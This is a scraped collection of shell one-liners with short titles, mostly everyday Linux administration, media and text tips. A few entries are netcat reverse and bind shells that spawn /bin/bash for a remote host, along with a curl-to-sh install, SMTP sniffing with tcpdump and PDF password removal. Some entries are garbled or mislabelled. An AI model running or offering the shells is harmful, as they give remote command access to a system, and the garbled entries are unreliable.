sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr
add all files not under version control to repository
svn add . --force
List top ten files/directories sorted by size
du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh
Consolle based network interface monitor
ethstatus -i eth0
Launch a VirtualBox virtual machine
VBoxManage startvm "name"
Find status of all symlinks
symlinks -r $(pwd)
Convert a flv video file to avi using mencoder
mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -xvidencopts pass=1 -o your_video.avi
Smart renaming
ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh
eth-tool summary of eth!!! Example "devices
for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done
need ascii art pictures for you readme text ?
boxes -d dog or cowsay -f tux $M
Record output of any command using 'tee' at backend; mainly can be used to capture the output of ssh from client side while connecting to a server.
ssh user@server | tee logfilename
List files opened by a PID
lsof -p 15857
batch convert Nikon RAW (nef) images to JPG
ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF
Quick case-insenstive partial filename search
alias lg='ls --color=always | grep --color=always -i'
Get information about a video file
mplayer -vo dummy -ao dummy -identify your_video.avi
The NMAP command you can use scan for the Conficker virus on your LAN
nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254
Show a curses based menu selector
whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags 1
Generate random passwords (from which you may select "memorable" ones)
pwgen
Download from Rapidshare Premium using wget - Part 2
wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>
Find all directories on filesystem containing more than 99MB
du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'
Display the standard deviation of a column of numbers with awk
awk '{sum+=$1; sumsq+=$1*$1} END {print sqrt(sumsq/NR - (sum/NR)**2)}' file.dat
Add a function you've defined to .bashrc
addfunction () { declare -f $1 >> ~/.bashrc ; }
Transfer large files/directories with no overhead over the network
ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar
Enable automatic typo correction for directory names
shopt -s cdspell
Quickly add user accounts to the system and force a password change on first login
for name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done
See how many % of your memory firefox is using
ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'
Redefine the cd command's behavior
cd() { builtin cd "${@:-$HOME}" && ls; }
Quick HTML image gallery
find . -iname '*.jpg' | sed 's/.*/<img src="&">/' > gallery.html
Suspend to ram
sudo pm-suspend
execute a shell with netcat without -e
mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>pipe
Search commandlinefu.com and display with VIMs syntax highlighting!
cmdfu(){ local TCF="/var/tmp/cmdfu"; echo " Searching..."; curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext" --silent > "$TCF"; vim -c "set filetype=sh" -RM "$TCF"; rm "$TCF"; }
Count lines of code across multiple file types, sorted by least amount of code to greatest
find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort
resolve short urls
resolve(){ curl -Is $1 | egrep "Location" | sed "s/Location: \(.*\)/\1/g"; }
Display a block of text: multi-line grep with perl
perl -ne 'print if /start_pattern/../stop_pattern/' file.txt
Test your total disk IO capacity, regardless of caching, to find out how fast the TRUE speed of your disks are
time (dd if=/dev/zero of=blah.out bs=256M count=1 ; sync )
List top 10 files in filesystem or mount point bigger than 200MB
find /myfs -size +209715200c -exec du -m {} \; |sort -nr |head -10
archlinux:Delete packages from pacman cache that are older than 7 days
find /var/cache/apt -not -mtime -7 | sudo xargs rm
Synchronize date and time with a server over ssh
date --set="$(ssh user@server 'date -u')"
A command's package details
dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}"; dpkg -L "${PACKAGE}") | less
move contents of the current directory to the parent directory, then remove current directory.
mv * .[0-9a-Z]* ../; cd ..; rm -r $OLDPWD
remove hostname from known_hosts
ssh-keygen -R hostname
Output the content of your Active Directory in a CSV file
csvde -f test.csv
Find C/C++ source code comments
perl -e 'my $in_comment = 0; while (<>) { $in_comment = 1 if m{\Q/*\E}; print if $in_comment; $in_comment = 0 if m{\Q*/\E}; }' *.cpp
Get a list of IP Addresses that have failed to login via SSH
cat /var/log/auth.log | grep -i "pam_unix(sshd:auth): authentication failure;" | cut -d' ' -f14,15 | cut -d= -f2 | sort | uniq
Clone perms and owner group from one file to another
for i in chmod chown; do sudo "$i" --reference=/home/user/copyfromfile /tmp/targetfile; done
grep lines containing two consecutive hyphens
grep -- -- file
Check if hardware is 32bit or 64bit
grep -q '\<lm\>' /proc/cpuinfo && echo 64 bits || echo 32 bits
Ultra fast public IP address lookup using Cloudflare's 1.1.1.1
curl -fSs https://1.1.1.1/cdn-cgi/trace | awk -F= '/ip/ { print $2 }'
a function to create a box of '=' characters around a given string.
box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
MSDOS command to check existance of command and exit batch if failed
<command> >NUL 2>&1 || ( echo <Command> not found. Please install <command> or check PATH variable! & pause & exit )
Rotate a video file by 90 degrees CW
ffmpeg -i in.mov -c copy -metadata:s:v:0 rotate=90 out.mov
Phrack 66 is out, but the .tar.gz is not there yet on phrack.org's website
mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/issues.html?issue=66&id=$n&mode=txt" ; done | xargs wget)
Trojan inverse shell
nc -l -p 2000 -e /bin/bash
Install a local RPM package from your desktop, then use the YUM repository to resolve its dependencies.
yum localinstall /path/to/package.rpm
Getting information about model no. of computer
dmidecode | grep -i prod
New command with the last argument of the previous command.
command !$
See the 10 programs the most used
sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head
ssh -A user@somehost
ssh -A user@somehost
Search previous commands from your .bash_history
ctrl + r
C one-liners
/lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -)
show lines that appear in both file1 and file2
comm -1 -2 <(sort file1) <(sort file2)
nmap IP block and autogenerate comprehensive Nagios service checks
nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg
ionice limits process I/O, to keep it from swamping the system (Linux)
ionice -c3 find /
Summarize Apache Extended server-status to show longest running requests
links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}'
Insert a colon between every two digits
sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
Unencrypted voicechat
On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666
Display IPs accessing your Apache webserver.
egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort -u
Show all programs on UDP and TCP ports with timer information
netstat -putona
Show a passive popup in KDE
kdialog --passivepopup <text> <timeout>
Change string in many files at once and more.
find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g'
Octal ls
ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf("%0o ",k);print}'
Watch for when your web server returns
watch -n 15 curl -s --connect-timeout 10 http://www.google.com/
find the difference between two nodes
diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")
a find and replace within text-based files, to locate and rewrite text en mass.
find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'
do a full file listing of every file found with locate
locate searchstring | xargs ls -l
Get MX records for a domain
dig foo.org mx +short
Test for Weak SSL Ciphers
openssl s_client -connect [host]:[sslport] -cipher LOW
List files with full path
ls | sed s#^#$(pwd)/#
Monitor memory fine-grained usage (e.g. firefox)
watch "awk '/Rss/{sum += \$2; } END{print sum, \"kB\"}' < /proc/$(pidof firefox)/smaps"
Grab just the title of a youtube video
url="[Youtube URL]"; echo $(curl ${url%&*} 2>&1 | grep -iA2 '<title>' | grep '-') | sed 's/^- //'
Replaces a color in a PDF document, useful for removing a dark background before printing.
convert -density 300 input.pdf -fill "rgb(255,255,255)" -opaque "rgb(0,0,0)" output.pdf
Download all images from a 4chan thread
function 4get () { curl $1 | grep -i "File<a href" | awk -F '<a href="' '{print $4}' | awk -F '" ' '{print $1}' | xargs wget }
Number of files in a SVN Repository
svn info -R --xml file:///path/to/rep | grep kind=\"file\"|wc -l
Create a random file of a certain, and display progress along the way.
SIZE=1; dd if=/dev/zero bs=1M count=$((SIZE*1024)) | pv -pters $((SIZE*1024*1024*1024)) | openssl enc -aes-256-ctr -pass pass:"$(dd if=/dev/urandom bs=128 count=1 2>/dev/null | base64)" -nosalt > randomfile
add files to existing growable DVD using growisofs
growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"
reverse-i-search: Search through your command line history
<ctrl+r>
Kill any lingering ssh processes
for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done
Remove old unused kernels from Red Hat Enterprise Linux 5 & Fedora 12/13
/usr/bin/package-cleanup --oldkernels --count=3
Recursively touch all files and subdirectories
find . -exec touch {} \;
Rsync using SSH and outputing results to a text file
rsync --delete --stats -zaAxh -e ssh /local_directory/ username@IP_of_remote:/Remote_Directory/ > /Text_file_Directory/backuplog.txt
command line to optimize all table from a mysql database
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "optimize table " $1 ";"}' | mysql -u uname dbname
cat stdout of multiple commands
cat <( command1 arg arg ) <( command2 arg ) ...
Find common lines between two files
comm -12 FILE1.sorted FILE2.sorted > common
How to search for files and open all of them in tabbed vim editor.
sudo find / -type f -name config.inc.php -exec vim -p {} +
Fetch the current human population of Earth
perl -Mojo -E 'say g("http://www.census.gov/popclock/data/population/world")->json->{'world'}{'population'};'
wget progress bar with customized data size for dots
wget blah --progress=dot -e dotbytes=100M
Unaccent an entire directory tree with files.
find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent UTF-8)"; mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done
HTML5 ogg player
commandlinefu.com - questions/comments: danstools00@gmail.com
Display any tcp connections to apache
for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTABLISHED; done;
list processes with established tcp connections (without netstat)
lsof -i -n | grep ESTABLISHED
Count the number of queries to a MySQL server
echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[$NF]czjqqkd:1END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n
Display all readline binding that use CTRL
bind -p | grep -F "\C"
Outputs a sorted list of disk usage to a text file
du | sort -gr > file_sizes
Watch how fast the files in a drive are being deleted
watch "df | grep /path/to/drive"
Have a smile
printf "$(awk 'BEGIN{c=127;while(c++<191){printf("\xf0\x9f\x98\\%s",sprintf("%o",c));}}')"
Shows picture exif GPS info if any and converts coords to a decimal degree number
identify -verbose my_image.jpg | awk 'function cf(i){split(i,a,"/");if(length(a)==2){return a[1]/a[2]}else{return a[1]}}/GPS/{if($1~/GPSLatitude:|GPSLongitude:/){s=$0;gsub(/,/,"",$0);printf("%s (%f)\n", s, $2+cf($3)/60+cf($4)/3600)}else{print}}'
Remove password from Bank Statement
pdftk INPUT.PDF input_pw 0123456789 cat output OUTPUT.PDF
Add a DNS server on the fly
sudo systemd-resolve --interface <NombreInterfaz> --set-dns <IPDNS> --set-domain mydomain.com
tree command limit depth for recusive directory list
tree -L 2 -u -g -p -d
display information about the CPU
lscpu | egrep 'Model name|Socket|Thread|NUMA|CPU\(s\)'
shell bash iterate number range with for loop
for((i=1;i<=10;i++)){ echo $i; }
Clear terminal Screen
Network Discover in a one liner
nmap -sn 192.168.1.0/24 -oG - | awk '$4=="Status:" && $5=="Up" {print $0}'|column -t
Show which programs are listening on TCP ports
netstat -tlpn
Get current stable kernel version string from kernel.org
curl -s https://www.kernel.org/releases.json | jq '.latest_stable.version' -r
Instead of saying RTFM!
echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc
Capture SMTP / POP3 Email
sudo tcpdump -nn -l port 25 | grep -i 'MAIL FROM\|RCPT TO'
AWK Calculator
calc(){ awk "BEGIN{ print $* }" ;}; calc "((3+(2^3)) * 34^2 / 9)-75.89"
draw honeycomb
yes "\\__/ " | tr "\n" " " | fold -$((($COLUMNS-3)/6*6+3)) | head -$LINES
List docker volumes by container
docker ps -a --format '{{ .ID }}' | xargs -I {} docker inspect -f '{{ .Name }}{{ printf "\n" }}{{ range .Mounts }}{{ printf "\n\t" }}{{ .Type }} {{ if eq .Type "bind" }}{{ .Source }}{{ end }}{{ .Name }} => {{ .Destination }}{{ end }}{{ printf "\n" }}' {}
Clean up the garbage an accidental unzipping makes
unzip -Z -1 <filename.zip> | xargs -I{} rm -v {}
Check if your desired password is already available in haveibeenpwnd database. This command uses the API provided by HIBP
function hibp() { sha1=$(echo -n "$1"|sha1sum|awk '{print toupper($0)}'|tr -d '\n'); curl -s -H $'Referer: https://haveibeenpwned.com/' https://api.pwnedpasswords.com/range/$(echo -n $sha1|cut -c1-5)|grep -i $(echo -n $sha1|cut -c6-40); }
Backup with versioning
backup() { source=$1 ; rsync --relative --force --ignore-errors --no-perms --chmod=ugo=rwX --delete --backup --backup-dir=$(date +%Y%m%d-%H%M%S)_Backup --whole-file -a -v $source/ ~/Backup ; } ; backup /source_folder_to_backup
Scroll up (or Down (PgDn)) in any terminal session (except KDE)
Shift + PgUp
Remove security limitations from PDF documents using QPDF
qpdf --decrypt inputfile.pdf outputfile.pdf
List the size (in human readable form) of all sub folders from the current location
du -sk -- * | sort -n | perl -pe '@SI=qw(K M G T P); s:^(\d+?)((\d\d\d)*)\s:$1." ".$SI[((length $2)/3)]."\t":e'
re-assign line numbers
perl -pe 's/\d+/++$n/e' file.txt
pipe output to notify-send
echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done
Remove leading zeros in multiple columns with sed
sed 's/\b\(0*\)//g' filename
Find out current working directory of a process
readlink /proc/self/cwd
Get full from half remembered commands
apropos <part_rember> | less
Sort contents of a directory with human readable output
du -hs * | sort -h
monitor what processes are waiting for IO interrupts
while true; do date; ps auxf | awk '{if($8=="D") print $0;}'; sleep 1; done
Get fully qualified domain names (FQDNs) for IP address with failure and multiple detection
NAME=$(nslookup $IP | sed -n 's/.*arpa.*name = \(.*\)/\1/p'); test -z "$NAME" && NAME="NO_NAME"; echo "$NAME"
Copy the full path of a file to the clipboard (requires xclip or similar)
>realpath ./somefile.c | xclip -selection c
resume scp-filetransfer with rsync
rsync --partial --progress --rsh=ssh user@host:remote-file local-file
make sure you don't add large file to your repository
svn status | awk '{print $2}' | xargs du | sort -n | tail
Creates a proxy based on tsocks.
alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'
List contents of tar archive within a compressed 7zip archive
7z x -so testfile.tar.7z | tar tvf -
Mount a truecrypt drive from a file from the command line interactively
sudo truecrypt <truecrypt-file> <mount-point>
Get a list of the top 10 heaviest tables in your mysql database - useful for performance diagnostics
mysql --database=information_schema -u <user> -p -e "SELECT TABLE_NAME, TABLE_SCHEMA, SUM(DATA_LENGTH + INDEX_LENGTH)/1024/1024 mb FROM TABLES GROUP BY TABLE_NAME ORDER BY mb DESC LIMIT 10"
Grab IP address on machine with multiple interfaces
ip route get 8.8.8.8 2>/dev/null|grep -Eo 'src [0-9.]+'|grep -Eo '[0-9.]+'
parse and format IP:port currently in listen state without net tools
cat /proc/net/tcp | grep " 0A " | sed 's/^[^:]*: \(..\)\(..\)\(..\)\(..\):\(....\).*/echo $((0x\4)).$((0x\3)).$((0x\2)).$((0x\1)):$((0x\5))/g' | bash
KDE Mixer Master Mute/Unmute
alias mute="dcop kmix Mixer0 toggleMasterMute\(\) ; dcop kmix Mixer0 masterMute\(\) | sed -e 's/true/muted/' -e 's/false/unmuted/' "
Copy the text from the 3rd line to the 9th line into a new file with VI
:3,9w new_file
Annotate tail -f with timestamps
tail -f file | ts '%H:%M:%.S'
output the contents of a file removing any empty lines including lines which contain only spaces or tabs.
sed -e '/^[<space><tab>]*$/d' somefile
convert hex to decimal ; decimal to hex
echo 16i `echo "F" | tr '[a-f]' '[A-F]'` p | dc ; echo 16o "15" p | dc
Calculate days on which Friday the 13th occurs
for y in $(seq 1996 2018); do echo -n "$y -> "; for m in $(seq 1 12); do NDATE=$(date --date "$y-$m-13" +%w); if [ $NDATE -eq 5 ]; then PRINTME=$(date --date "$y-$m-13" +%B);echo -n "$PRINTME "; fi; done; echo; done
Number of CPU's in a system
$ nproc
ShellCheck all the bash/sh script under a specific directory excluding version control
find . -type f ! -path "./.git/*" -exec sh -c "head -n 1 {} | egrep -a 'bin/bash|bin/sh' >/dev/null" \; -print -exec shellcheck {} \;
Chronometer in hour format
stf=$(date +%s.%N);for ((;;));do ctf=$( date +%s.%N );echo -en "\r$(date -u -d "0 $ctf sec - $stf sec" "+%H:%M:%S.%N")";done
Runs previous command but replacing
!!:s/foo/bar/
Copy the contents of one partition to another
rsync -avxHAXW --info=progress2 /old-disk /new-disk/
Get simple weather info from a zip code
weather() { curl -s "http://www.wunderground.com/q/zmw:$1.1.99999" | grep "og:title" | cut -d\" -f4 | sed 's/°/ degrees F/'; }
Check the current price of Bitcoin in USD
echo "1 BTC = $(curl -s https://api.coindesk.com/v1/bpi/currentprice/usd.json | grep -o 'rate":"[^"]*' | cut -d\" -f3) USD"
Randomly run command
ran() { [ $((RANDOM%100)) -lt "$1" ] && shift && "$@"; }
Prepend text to a file
echo "text to prepend" | cat - file
aplay some whitenoise
aplay -c 2 -f S16_LE -r 44100 /dev/urandom
Show drive names next to their full serial number (and disk info)
find /dev/disk/by-id -type l -printf "%l\t%f\n" | cut -b7- | sort
Convert A USB Cable Into A Smart Home Gadget
mysms='xxx0001234@messaging.sprintpcs.com' ; expect -c "log_user 0 ; set timeout -1 ; spawn usbmon -i usb0 ; expect -re \"C.*Ii.*-2:128\" { spawn sendmail $mysms ; send \"Smart Home Sensor Triggered\n.\n\" ; expect }"
Show max lengths of all fields in a pipe delimited file with header row
awk -F"|" 'BEGIN {OFS="|"} NR==1 {for (b=1;b<=NF;b++) {hdr[b]=$b} } NR > 1 {for (i=1;i<=NF;i++) {if(length($i) > max[i]) max[i] = length($i)} } END {for (i=1;i <= NF;i++) print hdr[i],max[i]+0}' pipe_delimited_file.psv
Synchronize date and time with a server over ssh
ssh user@server sudo date -s @`( date -u +"%s" )`
Get a free shell account on a community server
sh <(curl hashbang.sh)
Stream youtube videos
syt() { pipe=`mktemp -u`; mkfifo -m 600 "$pipe" && for i in "$@"; do youtube-dl -qo "$pipe" "$i" & mplayer "$pipe" || break; done; rm -f "$pipe"; }
Open (in vim) all modified files in a git repository
vim `git diff --name-only`
Rename file to same name plus datestamp of last modification.
mv -iv $FILENAME{,.$(stat -c %Z $FILENAME)}
Find size in kilobyte of files that are deleted but still in use and therefore consumes diskspace
lsof -ns | grep REG | grep deleted | awk '{s+=$7/1024} END {print s}'
Split a large file, without wasting disk space
FILE=file_name; CHUNK=$((64*1024*1024)); SIZE=$(stat -c "%s" $FILE); for ((i=0; i < $SIZE; i+=$CHUNK)); do losetup --find --show --offset=$i --sizelimit=$CHUNK $FILE; done
List Listen Port by numbers
netstat -tlpn | sort -t: -k2 -n
Viewable terminal session over network.
mkfifo /tmp/view; nc -l 9876 < /tmp/view& script -f /tmp/view
Simple colourized JSON formatting for BASH
alias pp='python -mjson.tool|pygmentize -l js'
Update all packages installed via homebrew
brew update && brew upgrade
How to backup hard disk timely?
rsync -av --link-dest=$(ls -1d /backup/*/ | tail -1) /data/ /backup/$(date +%Y%m%d%H%M)/
Split lossless audio (ape, flac, wav, wv) by cue file
shnsplit -t "%n-%t" -f <cue file> <audio file>
Separates each frame of a animated gif file to a counted file, then appends the frames together into one sheet file. Useful for making sprite sheets for games.
convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif
Compress logs older than 7 days
find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
convert strings toupper/tolower with tr
echo "aBcDeFgH123" | tr a-z A-Z
online MAC address lookup
curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1
Check (partial) runtime-dependencies of Gentoo ebuilds
qlist --exact "$pkg" | sudo scanelf --needed --quiet --format '%n#F' | tr ',' '\n' | sort -u | qfile --from -
Print permanent subtitles on a video (international edition :) )
transcode -i myvideo.avi -x mplayer="-utf8 -sub myvideo.srt" -o myvideo_subtitled.avi -y xvid
Extract public key from private
openssl rsa -in key.priv -pubout > key.pub
Check how far along (in %) your program is in a file
f=bigdata.xz; calc "round($(lsof -o0 -o "$f"|awk '{o=substr($7,3)}END{print o}')/$(stat -c %s "$f")*100)"
From Vim, run current buffer in python
! python %
Prints a file leaving out all blank lines and comment-only lines
egrep -v "^\s*(#|$)" myfile.cfg
Remove the first character of each line in a file
cut -c 2- < <file>
get a fresh commandlinefu-item each day as motd
0 0 * * * curl http://www.commandlinefu.com/commands/random/plaintext -o /etc/motd -s -L
Combine multiple images into a video using ffmpeg
ffmpeg -start_number 0053 -r 1/5 -i IMG_%04d.JPG -c:v libx264 -vf fps=25 -pix_fmt yuv420p out.mp4
generate random mac address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 | sed '2d;s/^0\+ //;s/ /:/g'
Show a Package Version on RPM based distributions
rpm -q --queryformat %{VERSION}\\n pkgname
Burn an audio CD.
goburncd() { d=/tmp/goburncd_$RANDOM; mkdir $d && for i in *.[Mm][Pp]3; do lame --decode "$i" "$d/${i%%.*}.wav"; done; sudo cdrecord -pad $d/* && rm -r $d; eject }
Keep one instance of an irc chat client in a screen session
alias irc="screen -D -R -S chatclient irssi"
Copy ssh keys to user@host to enable password-less ssh logins.
cat ~/.ssh/id_rsa.pub | ssh user@host 'cat >> ~/.ssh/authorized_keys'
Docker: Remove all exited docker container
docker ps -aq --filter status=exited | xargs docker rm
extract all urls from firefox sessionstore
sed -e "s/\[{/\n/g" -e "s/}, {/\n/g" sessionstore.js | grep url | awk -F"," '{ print $1 }'| sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" > session_urls.txt
convert unixtime to human-readable
perl -e 'print scalar(gmtime(1234567890)), "\n"'
defragment files
find ~ -maxdepth 20 -type f -size -16M -print > t; for ((i=$(wc -l < t); i>0; i--)) do a=$(sed -n ${i}p < t); mv "$a" /dev/shm/d; mv /dev/shm/d "$a"; echo $i; done; echo DONE; rm t
Running a command at a specific time
echo "notify-send TimeToQuit" | at 10:22
Shows cpu load in percent
sed -e 's/ .*//' -e 's/\.//' -e 's/^0*//' /proc/loadavg
Reverse SSHfs mount,
dpipe /usr/lib/openssh/sftp-server = ssh $REMOTE_HOST sshfs whatever:$LOCAL_PATH $REMOTE_PATH -o slave
Bitcoin Brainwallet Checksum Calculator
function brainwallet_checksum () { (o='openssl sha256 -binary'; p='printf';($p %b "\x80";$p %s "$1"|$o)|$o|sha256sum|cut -b1-8); }
Bitcoin Brainwallet Exponent Calculator
function brainwallet_exponent () { printf %s "$1"|sha256sum|head -c 64; }
Convert a script to one-liner
(sed 's/#.*//g'|sed '/^ *$/d'|tr '\n' ';'|xargs echo) < script.sh
Get a list of all TODO/FIXME tasks left to be done in your project
alias tasks='grep --exclude-dir=.git -rEI "TODO|FIXME" . 2>/dev/null'
Found how how much memory in kB $PID is occupying in Linux
echo 0$(awk '/Pss/ {printf "+"$2}' /proc/$PID/smaps)|bc
Command to rename multiple file in one go
rename 's/.xls/.ods/g' *.xls
Delete all empty lines from a file with vim
:v/./d
Find last modified files in a directory and its subdirectories
find . -type f -print0 | xargs -0 stat -c'%Y :%y %12s %n' | sort -nr | cut -d: -f2- | head
Graphically show percent of mount space used
for m in `df -P | awk -F ' ' '{print $NF}' | sed -e "1d"`;do n=`df -P | grep "$m$" | awk -F ' ' '{print $5}' | cut -d% -f1`;i=0;if [[ $n =~ ^-?[0-9]+$ ]];then printf '%-25s' $m;while [ $i -lt $n ];do echo -n '=';let "i=$i+1";done;echo " $n";fi;done
Fetch the current human population of Earth
curl -s http://www.census.gov/popclock/data/population/world | awk -F'[:,]' '{print $7}'
Find files and list them sorted by modification time
find -printf "%C@ %p\n"|sort
sqlite3 cmd to extract Firefox bookmarks from places.sqlite
sqlite3 ~/.mozilla/firefox/*default/places.sqlite "select a.url, a.title from moz_places a, moz_bookmarks b where a.id=b.fk and b.parent=2;"
Encrypt and password-protect execution of any bash script
echo "eval \"\$(dd if=\$0 bs=1 skip=XX 2>/dev/null|gpg -d 2>/dev/null)\"; exit" > script.secure; sed -i s:XX:$(stat -c%s script.secure): script.secure; gpg -c < script.bash >> script.secure; chmod +x script.secure
dd with progress bar and statistics to gzipped image
sudo dd if=/dev/sdc bs=4096 | pv -s `sudo mount /dev/sdc /media/sdc && du -sb /media/sdc/ |awk '{print $1}' && sudo umount /media/sdc`| sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG
Take screenshots with imagemagick
import -window root -quality 98 screenshot.png
Write on the console without being registered
_ls
Output as many input
echo 'foo' | tee >(wc -c) >(grep o) >(grep f)
network usage per process
sudo nethogs eth0
Alias for lazy tmux create/reattach
tmux attach || tmux new
Display the top ten running processes - sorted by memory usage
ps aux --sort -rss | head
copy timestamps of files from one location to another - useful when file contents are already synced but timestamps are wrong.
find . -printf "touch -m -d \"%t\" '%p'\n" | tee /tmp/retime.sh
Make changes in .bashrc immediately available
source ~/.bashrc
Show a notify popup in Gnome that expires in specified time and does not leave an icon in notifications tray
notify-send --hint=int:transient:1 -u low -t 100 "Command" "Finished"
edit, view or execute last modified file with a single key-press
f() { ls -lart;e="ls -tarp|grep -v /|tail -9";j=${e/9/1};g=${e/9/9|nl -nln};h=$(eval $j);eval $g;read -p "e|x|v|1..9 $(eval $j)?" -n 1 -r;case $REPLY in e) joe $h;;v)cat $h;;x) eval $h;;[1-9]) s=$(eval $g|egrep ^$REPLY) && touch "${s:7}" && f;;esac ; }
show the date every rpm was installed
rpm -qa --last
create an screenshot, upload it to your server via scp and then open that screenshot in firefox
FILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"
Force an fsck on reboot
shutdown -rF now
For when GUI programs stop responding..
xkill
Give {Open,True}Type files reasonable names
shopt -s extglob; for f in *.ttf *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf; done
Decode base64-encoded file in one line of Perl
perl -MMIME::Base64 -ne 'print decode_base64($_)' < file.txt > out
Get information about memory modules
dmidecode --type memory
Delicious search with human readable output
filterous -dntb --tag Bash < bookmarks.xml
Decode base64-encoded file in one line of Perl
openssl base64 -d < file.txt > out
sleep until X o'clock
sleep $((3600 - ($(date +%s) % 3600) ))
Netcat Relay
nc -vv $MIDDLEHOST 1234; #!!! Example "nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;#!!! Example " nc -l $IamTargetHost 1234 -e /bin/bash;
u can hear all .ogg files with vlc that thier link are in url
lynx -dump -listonly 'url' | grep -oe 'http://.*\.ogg' > 11 ; vlc 11 ; mv 11 /dev/null
continuously print string as if being entered from the keyboard
cycle(){ while :;do((i++));echo -n "${3:$(($i%${#3})):1}";sleep .$(($RANDOM%$2+$1));done;}
top svn committers (without awk)
svn log -q | grep '^r[0-9]' | cut -f2 -d "|" | sort | uniq -c | sort -nr
get all bookmarks from all profiles from firefox
"SELECT strftime('%d.%m.%Y %H:%M:%S', dateAdded/1000000, 'unixepoch', 'localtime'),url FROM moz_places, moz_bookmarks WHERE moz_places.id = moz_bookmarks.fk ORDER BY dateAdded;"; done
Averaging columns of numbers
awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat
Benchmark report generator
hardinfo -am benchmark.so -f html > report.html
Lists installed kernels
dpkg --get-selections | grep linux-image
Validating a file with checksum
md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") -
Say something out loud
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=$(echo "$@" | sed 's/ /+/g')" | play -t mp3 -
Run bash on top of a vi session (saved or not saved), run multiple commands, instead of one at a time with :!(bashcommand), type exit and [enter] to get back to where you left off in vi.
:!bash
Format partition with ext4 but without a journal
mke2fs -t ext4 -O ^has_journal /dev/sdXN
Execute a command at a given time
echo "DISPLAY=$DISPLAY xmessage call the client" | at 10:00
Convert tab separate file (TSV) to JSON with jq
cat input.tsv | jq --raw-input --slurp 'split("\n") | map(split("\t")) | .[0:-1] | map( { "id": .[0], "ip": .[1] } )'
copy ACL of one file to another using getfacl and setfacl
getfacl file1 | setfacl --set-file=- file2
Search for packages, ranked by popularity
